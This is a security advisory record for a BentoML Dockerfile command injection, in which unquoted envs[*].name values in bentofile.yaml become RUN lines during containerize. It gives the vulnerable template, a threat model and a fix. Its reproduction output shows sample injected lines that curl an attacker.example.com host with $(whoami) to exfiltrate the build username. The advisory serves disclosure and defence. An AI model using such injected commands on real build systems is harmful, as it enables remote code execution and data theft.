{"id":"GHSA-w2pm-x38x-jp44","summary":"Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)","details":"# BentoML `envs[*].name` Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043\n\nA malicious `bentofile.yaml` containing a newline-injected value in `envs[*].name` produces unquoted `RUN` directives in the BentoML-generated Dockerfile. When the victim runs `bentoml containerize` on the imported bento, those `RUN` directives execute on the host during `docker build`. Verified end-to-end on `bentoml==1.4.38`.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73`:\n\n```jinja\n{% for env in __bento_envs__ %}\n{% set stage = env.stage | default(\"all\") -%}\n{% if stage != \"runtime\" -%}\nARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\nENV {{ env.name }}=${{ env.name }}\n{% endif -%}\n{% endfor %}\n```\n\n`env.value` is bash-quoted via the `bash_quote` filter, but **`env.name` is interpolated raw** with no escaping or newline filtering. The template is rendered by `_bentoml_impl/docker.generate_dockerfile` (the v2 SDK Docker generation path used by `bentoml containerize` for modern services).\n\n## Sibling relationship to existing CVEs\n\nThe earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:\n\n- **CVE-2026-33744 / GHSA-jfjg-vc52-wqvf** (2026-03-25): added `bash_quote` to `system_packages` interpolation in Dockerfile templates and `images.py`.\n- **CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw** (2026-04-02): added `shlex.quote` to `system_packages` in the cloud deployment path (`_internal/cloud/deployment.py:1648`).\n\nBoth patches limit themselves to `system_packages`. The `envs[*].name` field is the same root-cause class (`bentofile.yaml` value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.\n\n## Reproduction\n\n```bash\npip install bentoml==1.4.38\npython verify_render.py\n```\n\nExpected:\n\n```\n[*] rendered Dockerfile size: 1789 bytes\n[*] injected RUN lines: 3\n    RUN curl -fsSL http://attacker.example.com/$(whoami)=1\n    RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO\n    RUN curl -fsSL http://attacker.example.com/$(whoami)\n```\n\nEach injected `RUN` line is a Dockerfile command that runs during `docker build`. With `$(whoami)` shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.\n\n## Threat model\n\n1. Attacker authors a malicious bento with a crafted `bentofile.yaml`.\n2. Attacker exports the bento (`.bento` or `.tar.gz`) and distributes (S3, HTTP, BentoCloud share, etc.).\n3. Victim imports with `bentoml import bento.tar`; no validation of `envs` content.\n4. Victim runs `bentoml containerize` to build the container image.\n5. BentoML renders the Dockerfile with the attacker's `envs` values, producing injected `RUN` lines.\n6. `docker build` (or BuildKit) executes the injected `RUN` commands on the build host, achieving RCE in the victim's build environment.\n\nThe flow mirrors CVE-2026-33744 exactly, with `envs` substituted for `system_packages`.\n\n## Suggested fix\n\nIn `base_v2.j2` lines 71-73, apply the `bash_quote` filter to `env.name` (and to the `=$VAR` reference in the `ENV` line, since the variable name itself is reused there):\n\n```jinja\nARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\nENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}\n```\n\nBetter, since `env.name` is semantically a Dockerfile identifier, validate at the schema level: in `bentoml/_internal/bento/build_config.py:BentoEnvSchema`, add an `attr.validators.matches_re(r\"^[A-Za-z_][A-Za-z0-9_]*$\")` to the `name` field so newline / shell-metacharacter values are rejected at config load.\n\n## Affected versions\n\n- bentoml 1.4.38 (verified end-to-end)\n- Likely all 1.x versions where `_bentoml_impl/docker.py` exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.\n\n## Disclosure\n\nRequesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.\n\n\n## PoC artifacts\n\nGated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc","aliases":["CVE-2026-44346"],"modified":"2026-05-11T14:49:32.026716Z","published":"2026-05-11T14:27:37Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-05-11T14:27:37Z","nvd_published_at":null,"cwe_ids":["CWE-78","CWE-94"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2"},{"type":"WEB","url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44"},{"type":"PACKAGE","url":"https://github.com/bentoml/BentoML"}],"affected":[{"package":{"name":"bentoml","ecosystem":"PyPI","purl":"pkg:pypi/bentoml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.39"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.5","0.0.6a0","0.0.7","0.0.7.dev0","0.0.8","0.0.8.post1","0.0.9","0.1.1","0.1.2","0.10.0","0.10.1","0.11.0","0.11.dev0","0.12.0","0.12.1","0.13.0","0.13.1","0.13.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.0rc0","0.9.1","0.9.2","1.0.0","1.0.0.dev0","1.0.0.dev1","1.0.0a1","1.0.0a2","1.0.0a3","1.0.0a4","1.0.0a5","1.0.0a6","1.0.0a7","1.0.0rc0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.0a0","1.2.0a1","1.2.0a2","1.2.0a3","1.2.0a4","1.2.0a5","1.2.0a6","1.2.0a7","1.2.0rc1","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.19","1.2.1a1","1.2.2","1.2.20","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.0a1","1.3.0a2","1.3.0a3","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.19","1.3.2","1.3.20","1.3.21","1.3.22","1.3.3","1.3.4.post1","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0a1","1.4.0a2","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.32","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.38","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.4.38","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-w2pm-x38x-jp44/GHSA-w2pm-x38x-jp44.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}